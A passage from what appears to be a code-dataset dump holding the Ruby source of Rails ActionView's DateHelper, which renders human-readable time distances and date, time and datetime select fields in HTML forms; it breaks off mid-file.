hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
332743d55bd4e4c3b2325db81de3799b5db6ae9f | 48,959 | require "date"
require 'action_view/helpers/tag_helper'
module ActionView
module Helpers
# The Date Helper primarily creates select/option tags for different kinds of dates and date elements. All of the
# select-type methods share a number of common options that are as follows:
#
# * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
# would give birthday[month] instead of date[month] if passed to the select_month method.
# * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
# * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
# the select_month method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead of
# "date[month]".
module DateHelper
# Reports the approximate distance in time between two Time or Date objects or integers as seconds.
# Set <tt>include_seconds</tt> to true if you want more detailed approximations when distance < 1 min, 29 secs
# Distances are reported based on the following table:
#
# 0 <-> 29 secs # => less than a minute
# 30 secs <-> 1 min, 29 secs # => 1 minute
# 1 min, 30 secs <-> 44 mins, 29 secs # => [2..44] minutes
# 44 mins, 30 secs <-> 89 mins, 29 secs # => about 1 hour
# 89 mins, 29 secs <-> 23 hrs, 59 mins, 29 secs # => about [2..24] hours
# 23 hrs, 59 mins, 29 secs <-> 47 hrs, 59 mins, 29 secs # => 1 day
# 47 hrs, 59 mins, 29 secs <-> 29 days, 23 hrs, 59 mins, 29 secs # => [2..29] days
# 29 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs # => about 1 month
# 59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec # => [2..12] months
# 1 yr <-> 2 yrs minus 1 secs # => about 1 year
# 2 yrs <-> max time or date # => over [2..X] years
#
# With <tt>include_seconds</tt> = true and the difference < 1 minute 29 seconds:
# 0-4 secs # => less than 5 seconds
# 5-9 secs # => less than 10 seconds
# 10-19 secs # => less than 20 seconds
# 20-39 secs # => half a minute
# 40-59 secs # => less than a minute
# 60-89 secs # => 1 minute
#
# ==== Examples
# from_time = Time.now
# distance_of_time_in_words(from_time, from_time + 50.minutes) # => about 1 hour
# distance_of_time_in_words(from_time, 50.minutes.from_now) # => about 1 hour
# distance_of_time_in_words(from_time, from_time + 15.seconds) # => less than a minute
# distance_of_time_in_words(from_time, from_time + 15.seconds, true) # => less than 20 seconds
# distance_of_time_in_words(from_time, 3.years.from_now) # => over 3 years
# distance_of_time_in_words(from_time, from_time + 60.hours) # => about 3 days
# distance_of_time_in_words(from_time, from_time + 45.seconds, true) # => less than a minute
# distance_of_time_in_words(from_time, from_time - 45.seconds, true) # => less than a minute
# distance_of_time_in_words(from_time, 76.seconds.from_now) # => 1 minute
# distance_of_time_in_words(from_time, from_time + 1.year + 3.days) # => about 1 year
# distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => over 4 years
#
# to_time = Time.now + 6.years + 19.days
# distance_of_time_in_words(from_time, to_time, true) # => over 6 years
# distance_of_time_in_words(to_time, from_time, true) # => over 6 years
# distance_of_time_in_words(Time.now, Time.now) # => less than a minute
#
def distance_of_time_in_words(from_time, to_time = 0, include_seconds = false, options = {})
from_time = from_time.to_time if from_time.respond_to?(:to_time)
to_time = to_time.to_time if to_time.respond_to?(:to_time)
distance_in_minutes = (((to_time - from_time).abs)/60).round
distance_in_seconds = ((to_time - from_time).abs).round
I18n.with_options :locale => options[:locale], :scope => :'datetime.distance_in_words' do |locale|
case distance_in_minutes
when 0..1
return distance_in_minutes == 0 ?
locale.t(:less_than_x_minutes, :count => 1) :
locale.t(:x_minutes, :count => distance_in_minutes) unless include_seconds
case distance_in_seconds
when 0..4 then locale.t :less_than_x_seconds, :count => 5
when 5..9 then locale.t :less_than_x_seconds, :count => 10
when 10..19 then locale.t :less_than_x_seconds, :count => 20
when 20..39 then locale.t :half_a_minute
when 40..59 then locale.t :less_than_x_minutes, :count => 1
else locale.t :x_minutes, :count => 1
end
when 2..44 then locale.t :x_minutes, :count => distance_in_minutes
when 45..89 then locale.t :about_x_hours, :count => 1
when 90..1439 then locale.t :about_x_hours, :count => (distance_in_minutes.to_f / 60.0).round
when 1440..2879 then locale.t :x_days, :count => 1
when 2880..43199 then locale.t :x_days, :count => (distance_in_minutes / 1440).round
when 43200..86399 then locale.t :about_x_months, :count => 1
when 86400..525599 then locale.t :x_months, :count => (distance_in_minutes / 43200).round
when 525600..1051199 then locale.t :about_x_years, :count => 1
else locale.t :over_x_years, :count => (distance_in_minutes / 525600).round
end
end
end
# Like distance_of_time_in_words, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
#
# ==== Examples
# time_ago_in_words(3.minutes.from_now) # => 3 minutes
# time_ago_in_words(Time.now - 15.hours) # => 15 hours
# time_ago_in_words(Time.now) # => less than a minute
#
# from_time = Time.now - 3.days - 14.minutes - 25.seconds # => 3 days
def time_ago_in_words(from_time, include_seconds = false)
distance_of_time_in_words(from_time, Time.now, include_seconds)
end
alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
# Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
# attribute (identified by +method+) on an object assigned to the template (identified by +object+).
#
#
# ==== Options
# * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
# "2" instead of "February").
# * <tt>:use_short_month</tt> - Set to true if you want to use abbreviated month names instead of full
# month names (e.g. "Feb" instead of "February").
# * <tt>:add_month_numbers</tt> - Set to true if you want to use both month numbers and month names (e.g.
# "2 - February" instead of "February").
# * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
# Note: You can also use Rails' i18n functionality for this.
# * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
# * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
# * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
# * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
# as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
# first of the given month in order to not create invalid dates like 31 February.
# * <tt>:discard_month</tt> - Set to true if you don't want to show a month select. This includes the month
# as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
# * <tt>:discard_year</tt> - Set to true if you don't want to show a year select. This includes the year
# as a hidden field instead of showing a select field.
# * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
# customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
# select will not be shown (like when you set <tt>:discard_xxx => true</tt>. Defaults to the order defined in
# the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
# * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
# dates.
# * <tt>:default</tt> - Set a default date if the affected date isn't set or is nil.
# * <tt>:disabled</tt> - Set to true if you want show the select fields as disabled.
# * <tt>:prompt</tt> - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
# for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
# Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds)
# or the given prompt string.
#
# If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
#
# NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
#
# ==== Examples
# # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute
# date_select("post", "written_on")
#
# # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute,
# # with the year in the year drop down box starting at 1995.
# date_select("post", "written_on", :start_year => 1995)
#
# # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute,
# # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
# # and without a day select box.
# date_select("post", "written_on", :start_year => 1995, :use_month_numbers => true,
# :discard_day => true, :include_blank => true)
#
# # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute
# # with the fields ordered as day, month, year rather than month, day, year.
# date_select("post", "written_on", :order => [:day, :month, :year])
#
# # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
# # lacking a year field.
# date_select("user", "birthday", :order => [:month, :day])
#
# # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
# # which is initially set to the date 3 days from the current date
# date_select("post", "written_on", :default => 3.days.from_now)
#
# # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
# # that will have a default day of 20.
# date_select("credit_card", "bill_due", :default => { :day => 20 })
#
# # Generates a date select with custom prompts
# date_select("post", "written_on", :prompt => { :day => 'Select day', :month => 'Select month', :year => 'Select year' })
#
# The selects are prepared for multi-parameter assignment to an Active Record object.
#
# Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
# all month choices are valid.
def date_select(object_name, method, options = {}, html_options = {})
InstanceTag.new(object_name, method, self, options.delete(:object)).to_date_select_tag(options, html_options)
end
# Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
# specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
# +object+). You can include the seconds with <tt>:include_seconds</tt>.
#
# This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
# <tt>:ignore_date</tt> is set to +true+.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# ==== Examples
# # Creates a time select tag that, when POSTed, will be stored in the post variable in the sunrise attribute
# time_select("post", "sunrise")
#
# # Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted
# # attribute
# time_select("order", "submitted")
#
# # Creates a time select tag that, when POSTed, will be stored in the mail variable in the sent_at attribute
# time_select("mail", "sent_at")
#
# # Creates a time select tag with a seconds field that, when POSTed, will be stored in the post variables in
# # the sunrise attribute.
# time_select("post", "start_time", :include_seconds => true)
#
# # Creates a time select tag with a seconds field that, when POSTed, will be stored in the entry variables in
# # the submission_time attribute.
# time_select("entry", "submission_time", :include_seconds => true)
#
# # You can set the :minute_step to 15 which will give you: 00, 15, 30 and 45.
# time_select 'game', 'game_time', {:minute_step => 15}
#
# # Creates a time select tag with a custom prompt. Use :prompt => true for generic prompts.
# time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
# time_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours
# time_select("post", "written_on", :prompt => true) # generic prompts for all
#
# The selects are prepared for multi-parameter assignment to an Active Record object.
#
# Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
# all month choices are valid.
def time_select(object_name, method, options = {}, html_options = {})
InstanceTag.new(object_name, method, self, options.delete(:object)).to_time_select_tag(options, html_options)
end
# Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
# specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
# by +object+).
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# ==== Examples
# # Generates a datetime select that, when POSTed, will be stored in the post variable in the written_on
# # attribute
# datetime_select("post", "written_on")
#
# # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
# # post variable in the written_on attribute.
# datetime_select("post", "written_on", :start_year => 1995)
#
# # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
# # be stored in the trip variable in the departing attribute.
# datetime_select("trip", "departing", :default => 3.days.from_now)
#
# # Generates a datetime select that discards the type that, when POSTed, will be stored in the post variable
# # as the written_on attribute.
# datetime_select("post", "written_on", :discard_type => true)
#
# # Generates a datetime select with a custom prompt. Use :prompt=>true for generic prompts.
# datetime_select("post", "written_on", :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
# datetime_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours
# datetime_select("post", "written_on", :prompt => true) # generic prompts for all
#
# The selects are prepared for multi-parameter assignment to an Active Record object.
def datetime_select(object_name, method, options = {}, html_options = {})
InstanceTag.new(object_name, method, self, options.delete(:object)).to_datetime_select_tag(options, html_options)
end
# Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the
# +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
# an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
# supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
# <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
# control visual display of the elements.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# ==== Examples
# my_date_time = Time.now + 4.days
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# select_datetime(my_date_time)
#
# # Generates a datetime select that defaults to today (no specified datetime)
# select_datetime()
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # with the fields ordered year, month, day rather than month, day, year.
# select_datetime(my_date_time, :order => [:year, :month, :day])
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # with a '/' between each date field.
# select_datetime(my_date_time, :date_separator => '/')
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # with a date fields separated by '/', time fields separated by '' and the date and time fields
# # separated by a comma (',').
# select_datetime(my_date_time, :date_separator => '/', :time_separator => '', :datetime_separator => ',')
#
# # Generates a datetime select that discards the type of the field and defaults to the datetime in
# # my_date_time (four days after today)
# select_datetime(my_date_time, :discard_type => true)
#
# # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
# # prefixed with 'payday' rather than 'date'
# select_datetime(my_date_time, :prefix => 'payday')
#
# # Generates a datetime select with a custom prompt. Use :prompt=>true for generic prompts.
# select_datetime(my_date_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
# select_datetime(my_date_time, :prompt => {:hour => true}) # generic prompt for hours
# select_datetime(my_date_time, :prompt => true) # generic prompts for all
#
def select_datetime(datetime = Time.current, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_datetime
end
# Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
# It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
# symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not supply a Symbol,
# it will be appended onto the <tt>:order</tt> passed in.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# ==== Examples
# my_date = Time.today + 6.days
#
# # Generates a date select that defaults to the date in my_date (six days after today)
# select_date(my_date)
#
# # Generates a date select that defaults to today (no specified date)
# select_date()
#
# # Generates a date select that defaults to the date in my_date (six days after today)
# # with the fields ordered year, month, day rather than month, day, year.
# select_date(my_date, :order => [:year, :month, :day])
#
# # Generates a date select that discards the type of the field and defaults to the date in
# # my_date (six days after today)
# select_date(my_date, :discard_type => true)
#
# # Generates a date select that defaults to the date in my_date,
# # which has fields separated by '/'
# select_date(my_date, :date_separator => '/')
#
# # Generates a date select that defaults to the datetime in my_date (six days after today)
# # prefixed with 'payday' rather than 'date'
# select_date(my_date, :prefix => 'payday')
#
# # Generates a date select with a custom prompt. Use :prompt=>true for generic prompts.
# select_date(my_date, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
# select_date(my_date, :prompt => {:hour => true}) # generic prompt for hours
# select_date(my_date, :prompt => true) # generic prompts for all
#
def select_date(date = Date.current, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_date
end
# Returns a set of html select-tags (one for hour and minute)
# You can set <tt>:time_separator</tt> key to format the output, and
# the <tt>:include_seconds</tt> option to include an input for seconds.
#
# If anything is passed in the html_options hash it will be applied to every select tag in the set.
#
# ==== Examples
# my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
#
# # Generates a time select that defaults to the time in my_time
# select_time(my_time)
#
# # Generates a time select that defaults to the current time (no specified time)
# select_time()
#
# # Generates a time select that defaults to the time in my_time,
# # which has fields separated by ':'
# select_time(my_time, :time_separator => ':')
#
# # Generates a time select that defaults to the time in my_time,
# # that also includes an input for seconds
# select_time(my_time, :include_seconds => true)
#
# # Generates a time select that defaults to the time in my_time, that has fields
# # separated by ':' and includes an input for seconds
# select_time(my_time, :time_separator => ':', :include_seconds => true)
#
# # Generates a time select with a custom prompt. Use :prompt=>true for generic prompts.
# select_time(my_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
# select_time(my_time, :prompt => {:hour => true}) # generic prompt for hours
# select_time(my_time, :prompt => true) # generic prompts for all
#
def select_time(datetime = Time.current, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_time
end
# Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
# The <tt>second</tt> can also be substituted for a second number.
# Override the field name using the <tt>:field_name</tt> option, 'second' by default.
#
# ==== Examples
# my_time = Time.now + 16.minutes
#
# # Generates a select field for seconds that defaults to the seconds for the time in my_time
# select_second(my_time)
#
# # Generates a select field for seconds that defaults to the number given
# select_second(33)
#
# # Generates a select field for seconds that defaults to the seconds for the time in my_time
# # that is named 'interval' rather than 'second'
# select_second(my_time, :field_name => 'interval')
#
# # Generates a select field for seconds with a custom prompt. Use :prompt=>true for a
# # generic prompt.
# select_minute(14, :prompt => 'Choose seconds')
#
def select_second(datetime, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_second
end
# Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
# Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
# selected. The <tt>minute</tt> can also be substituted for a minute number.
# Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
#
# ==== Examples
# my_time = Time.now + 6.hours
#
# # Generates a select field for minutes that defaults to the minutes for the time in my_time
# select_minute(my_time)
#
# # Generates a select field for minutes that defaults to the number given
# select_minute(14)
#
# # Generates a select field for minutes that defaults to the minutes for the time in my_time
# # that is named 'stride' rather than 'second'
# select_minute(my_time, :field_name => 'stride')
#
# # Generates a select field for minutes with a custom prompt. Use :prompt=>true for a
# # generic prompt.
# select_minute(14, :prompt => 'Choose minutes')
#
def select_minute(datetime, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_minute
end
# Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
# The <tt>hour</tt> can also be substituted for a hour number.
# Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
#
# ==== Examples
# my_time = Time.now + 6.hours
#
# # Generates a select field for hours that defaults to the hour for the time in my_time
# select_hour(my_time)
#
# # Generates a select field for hours that defaults to the number given
# select_hour(13)
#
# # Generates a select field for hours that defaults to the minutes for the time in my_time
# # that is named 'stride' rather than 'second'
# select_hour(my_time, :field_name => 'stride')
#
# # Generates a select field for hours with a custom prompt. Use :prompt => true for a
# # generic prompt.
# select_hour(13, :prompt =>'Choose hour')
#
def select_hour(datetime, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_hour
end
# Returns a select tag with options for each of the days 1 through 31 with the current day selected.
# The <tt>date</tt> can also be substituted for a hour number.
# Override the field name using the <tt>:field_name</tt> option, 'day' by default.
#
# ==== Examples
# my_date = Time.today + 2.days
#
# # Generates a select field for days that defaults to the day for the date in my_date
# select_day(my_time)
#
# # Generates a select field for days that defaults to the number given
# select_day(5)
#
# # Generates a select field for days that defaults to the day for the date in my_date
# # that is named 'due' rather than 'day'
# select_day(my_time, :field_name => 'due')
#
# # Generates a select field for days with a custom prompt. Use :prompt => true for a
# # generic prompt.
# select_day(5, :prompt => 'Choose day')
#
def select_day(date, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_day
end
# Returns a select tag with options for each of the months January through December with the current month
# selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
# used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
# instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
# want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
# to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
# to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
# Override the field name using the <tt>:field_name</tt> option, 'month' by default.
#
# ==== Examples
# # Generates a select field for months that defaults to the current month that
# # will use keys like "January", "March".
# select_month(Date.today)
#
# # Generates a select field for months that defaults to the current month that
# # is named "start" rather than "month"
# select_month(Date.today, :field_name => 'start')
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "1", "3".
# select_month(Date.today, :use_month_numbers => true)
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "1 - January", "3 - March".
# select_month(Date.today, :add_month_numbers => true)
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "Jan", "Mar".
# select_month(Date.today, :use_short_month => true)
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "Januar", "Marts."
# select_month(Date.today, :use_month_names => %w(Januar Februar Marts ...))
#
# # Generates a select field for months with a custom prompt. Use :prompt => true for a
# # generic prompt.
# select_month(14, :prompt => 'Choose month')
#
def select_month(date, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_month
end
# Returns a select tag with options for each of the five years on each side of the current, which is selected.
# The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
# +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
# greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
# Override the field name using the <tt>:field_name</tt> option, 'year' by default.
#
# ==== Examples
# # Generates a select field for years that defaults to the current year that
# # has ascending year values
# select_year(Date.today, :start_year => 1992, :end_year => 2007)
#
# # Generates a select field for years that defaults to the current year that
# # is named 'birth' rather than 'year'
# select_year(Date.today, :field_name => 'birth')
#
# # Generates a select field for years that defaults to the current year that
# # has descending year values
# select_year(Date.today, :start_year => 2005, :end_year => 1900)
#
# # Generates a select field for years that defaults to the year 2006 that
# # has ascending year values
# select_year(2006, :start_year => 2000, :end_year => 2010)
#
# # Generates a select field for years with a custom prompt. Use :prompt => true for a
# # generic prompt.
# select_year(14, :prompt => 'Choose year')
#
def select_year(date, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_year
end
end
class DateTimeSelector #:nodoc:
extend ActiveSupport::Memoizable
include ActionView::Helpers::TagHelper
DEFAULT_PREFIX = 'date'.freeze unless const_defined?('DEFAULT_PREFIX')
POSITION = {
:year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
}.freeze unless const_defined?('POSITION')
def initialize(datetime, options = {}, html_options = {})
@options = options.dup
@html_options = html_options.dup
@datetime = datetime
end
def select_datetime
# TODO: Remove tag conditional
# Ideally we could just join select_date and select_date for the tag case
if @options[:tag] && @options[:ignore_date]
select_time
elsif @options[:tag]
order = date_order.dup
order -= [:hour, :minute, :second]
@options[:discard_year] ||= true unless order.include?(:year)
@options[:discard_month] ||= true unless order.include?(:month)
@options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
@options[:discard_minute] ||= true if @options[:discard_hour]
@options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
# If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
# valid (otherwise it could be 31 and february wouldn't be a valid date)
if @datetime && @options[:discard_day] && !@options[:discard_month]
@datetime = @datetime.change(:day => 1)
end
[:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
order += [:hour, :minute, :second] unless @options[:discard_hour]
build_selects_from_types(order)
else
"#{select_date}#{@options[:datetime_separator]}#{select_time}"
end
end
def select_date
order = date_order.dup
# TODO: Remove tag conditional
if @options[:tag]
@options[:discard_hour] = true
@options[:discard_minute] = true
@options[:discard_second] = true
@options[:discard_year] ||= true unless order.include?(:year)
@options[:discard_month] ||= true unless order.include?(:month)
@options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
# If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
# valid (otherwise it could be 31 and february wouldn't be a valid date)
if @datetime && @options[:discard_day] && !@options[:discard_month]
@datetime = @datetime.change(:day => 1)
end
end
[:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
build_selects_from_types(order)
end
def select_time
order = []
# TODO: Remove tag conditional
if @options[:tag]
@options[:discard_month] = true
@options[:discard_year] = true
@options[:discard_day] = true
@options[:discard_second] ||= true unless @options[:include_seconds]
order += [:year, :month, :day] unless @options[:ignore_date]
end
order += [:hour, :minute]
order << :second if @options[:include_seconds]
build_selects_from_types(order)
end
def select_second
if @options[:use_hidden] || @options[:discard_second]
build_hidden(:second, sec) if @options[:include_seconds]
else
build_options_and_select(:second, sec)
end
end
def select_minute
if @options[:use_hidden] || @options[:discard_minute]
build_hidden(:minute, min)
else
build_options_and_select(:minute, min, :step => @options[:minute_step])
end
end
def select_hour
if @options[:use_hidden] || @options[:discard_hour]
build_hidden(:hour, hour)
else
build_options_and_select(:hour, hour, :end => 23)
end
end
def select_day
if @options[:use_hidden] || @options[:discard_day]
build_hidden(:day, day)
else
build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false)
end
end
def select_month
if @options[:use_hidden] || @options[:discard_month]
build_hidden(:month, month)
else
month_options = []
1.upto(12) do |month_number|
options = { :value => month_number }
options[:selected] = "selected" if month == month_number
month_options << content_tag(:option, month_name(month_number), options) + "\n"
end
build_select(:month, month_options.join)
end
end
def select_year
if !@datetime || @datetime == 0
val = ''
middle_year = Date.today.year
else
val = middle_year = year
end
if @options[:use_hidden] || @options[:discard_year]
build_hidden(:year, val)
else
options = {}
options[:start] = @options[:start_year] || middle_year - 5
options[:end] = @options[:end_year] || middle_year + 5
options[:step] = options[:start] < options[:end] ? 1 : -1
options[:leading_zeros] = false
build_options_and_select(:year, val, options)
end
end
private
%w( sec min hour day month year ).each do |method|
define_method(method) do
@datetime.kind_of?(Fixnum) ? @datetime : @datetime.send(method) if @datetime
end
end
# Returns translated month names, but also ensures that a custom month
# name array has a leading nil element
def month_names
month_names = @options[:use_month_names] || translated_month_names
month_names.unshift(nil) if month_names.size < 13
month_names
end
memoize :month_names
# Returns translated month names
# => [nil, "January", "February", "March",
# "April", "May", "June", "July",
# "August", "September", "October",
# "November", "December"]
#
# If :use_short_month option is set
# => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
# "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
def translated_month_names
begin
key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
I18n.translate(key, :locale => @options[:locale])
end
end
# Lookup month name for number
# month_name(1) => "January"
#
# If :use_month_numbers option is passed
# month_name(1) => 1
#
# If :add_month_numbers option is passed
# month_name(1) => "1 - January"
def month_name(number)
if @options[:use_month_numbers]
number
elsif @options[:add_month_numbers]
"#{number} - #{month_names[number]}"
else
month_names[number]
end
end
def date_order
@options[:order] || translated_date_order
end
memoize :date_order
def translated_date_order
begin
I18n.translate(:'date.order', :locale => @options[:locale]) || []
end
end
# Build full select tag from date type and options
def build_options_and_select(type, selected, options = {})
build_select(type, build_options(selected, options))
end
# Build select option html from date value and options
# build_options(15, :start => 1, :end => 31)
# => "<option value="1">1</option>
# <option value=\"2\">2</option>
# <option value=\"3\">3</option>..."
def build_options(selected, options = {})
start = options.delete(:start) || 0
stop = options.delete(:end) || 59
step = options.delete(:step) || 1
leading_zeros = options.delete(:leading_zeros).nil? ? true : false
select_options = []
start.step(stop, step) do |i|
value = leading_zeros ? sprintf("%02d", i) : i
tag_options = { :value => value }
tag_options[:selected] = "selected" if selected == i
select_options << content_tag(:option, value, tag_options)
end
select_options.join("\n") + "\n"
end
# Builds select tag from date type and html select options
# build_select(:month, "<option value="1">January</option>...")
# => "<select id="post_written_on_2i" name="post[written_on(2i)]">
# <option value="1">January</option>...
# </select>"
def build_select(type, select_options_as_html)
select_options = {
:id => input_id_from_type(type),
:name => input_name_from_type(type)
}.merge(@html_options)
select_options.merge!(:disabled => 'disabled') if @options[:disabled]
select_html = "\n"
select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
select_html << select_options_as_html.to_s
content_tag(:select, select_html, select_options) + "\n"
end
# Builds a prompt option tag with supplied options or from default options
# prompt_option_tag(:month, :prompt => 'Select month')
# => "<option value="">Select month</option>"
def prompt_option_tag(type, options)
default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
case options
when Hash
prompt = default_options.merge(options)[type.to_sym]
when String
prompt = options
else
prompt = I18n.translate(('datetime.prompts.' + type.to_s).to_sym, :locale => @options[:locale])
end
prompt ? content_tag(:option, prompt, :value => '') : ''
end
# Builds hidden input tag for date part and value
# build_hidden(:year, 2008)
# => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
def build_hidden(type, value)
tag(:input, {
:type => "hidden",
:id => input_id_from_type(type),
:name => input_name_from_type(type),
:value => value
}) + "\n"
end
# Returns the name attribute for the input tag
# => post[written_on(1i)]
def input_name_from_type(type)
prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
field_name = @options[:field_name] || type
if @options[:include_position]
field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
end
@options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
end
# Returns the id attribute for the input tag
# => "post_written_on_1i"
def input_id_from_type(type)
input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
end
# Given an ordering of datetime components, create the selection HTML
# and join them with their appropriate separators.
def build_selects_from_types(order)
select = ''
order.reverse.each do |type|
separator = separator(type) unless type == order.first # don't add on last field
select.insert(0, separator.to_s + send("select_#{type}").to_s)
end
select
end
# Returns the separator for a given datetime component
